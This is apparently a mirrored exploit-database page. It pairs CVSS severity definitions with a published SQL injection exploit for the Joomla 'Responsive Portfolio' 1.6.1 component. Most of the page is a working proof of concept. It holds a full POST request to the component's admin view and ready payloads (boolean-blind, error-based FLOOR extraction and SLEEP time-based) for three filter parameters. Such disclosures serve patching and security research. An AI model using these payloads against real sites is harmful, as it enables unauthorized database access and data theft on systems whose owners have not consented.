The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Joomla! Component Responsive Portfolio 1.6.1 filter_order_Dir SQL Injection
# Exploit Title: Joomla! Component Responsive Portfolio 1.6.1 - 'filter_order_Dir' SQL Injection
# Dork: N/A
# Date: 2018-09-25
# Exploit Author: zkan Mustafa Akku (AkkuS)
# Vendor Homepage: https://extro.media/
# Software Link: https://extensions.joomla.org/extension/rpc-responsive-portfolio/
# Version: 1.6.1
# Category: Webapps
# Tested on: Kali linux
# Description : An attacker can execute SQL commands through parameters
# that contain vulnerable. An authorized user can use the filtering feature and can fully authorize
# the database or other server informations.
# "filter_type_id, filter_pid_id, filter_search" parameters have the same vulnerable.
# PoC : SQLi :
POST /administrator/index.php?option=com_pofos&view=pofoits
Host: demo.extro.media
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://demo.extro.media/administrator/index.php?option=com_pofos&view=pofoits
Cookie: 2e7fc5dc4e4ce76c3319e1db921484ac=eqgcirsi6m53s6vbi7bbgng1n5;
48bd4f2f65b6c84d32f8704444f9b24c=rt2t3ur8fgmbjemdqua1vn8u35
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
filter_type_id=1&filter_pid_id=6&filter_search=&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&42665dd9e1062891c3394b621d58259f=1
# Parameter: filter_type_id (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: filter_type_id=-7022 OR
5787=5787#&filter_pid_id=6&filter_search=&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&42665dd9e1062891c3394b621d58259f=1
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
Payload: filter_type_id=1 AND (SELECT 5756 FROM(SELECT
COUNT(*),CONCAT(0x7162706271,(SELECT
(ELT(5756=5756,1))),0x7170706271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY
x)a)&filter_pid_id=6&filter_search=&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&42665dd9e1062891c3394b621d58259f=1
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: filter_type_id=1 AND
SLEEP(5)&filter_pid_id=6&filter_search=&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&42665dd9e1062891c3394b621d58259f=1
# Parameter: filter_pid_id (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: filter_type_id=1&filter_pid_id=-5547 OR
1857=1857#&filter_search=&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0b80bd9e6ffbad6d1ab256ec3149955=1
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
Payload: filter_type_id=1&filter_pid_id=7 AND (SELECT 2680 FROM(SELECT
COUNT(*),CONCAT(0x71766b7671,(SELECT
(ELT(2680=2680,1))),0x71627a6271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY
x)a)&filter_search=&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0b80bd9e6ffbad6d1ab256ec3149955=1
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: filter_type_id=1&filter_pid_id=7 OR
SLEEP(5)&filter_search=&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0b80bd9e6ffbad6d1ab256ec3149955=1
# Parameter: filter_search (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: filter_type_id=1&filter_pid_id=7&filter_search=" AND
8748=8748#&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0b80bd9e6ffbad6d1ab256ec3149955=1
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
Payload: filter_type_id=1&filter_pid_id=7&filter_search=" AND (SELECT
2429 FROM(SELECT COUNT(*),CONCAT(0x71766b7671,(SELECT
(ELT(2429=2429,1))),0x71627a6271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--
zyPZ&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0b80bd9e6ffbad6d1ab256ec3149955=1
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: filter_type_id=1&filter_pid_id=7&filter_search=" AND
SLEEP(5)--
fDVO&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0b80bd9e6ffbad6d1ab256ec3149955=1
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum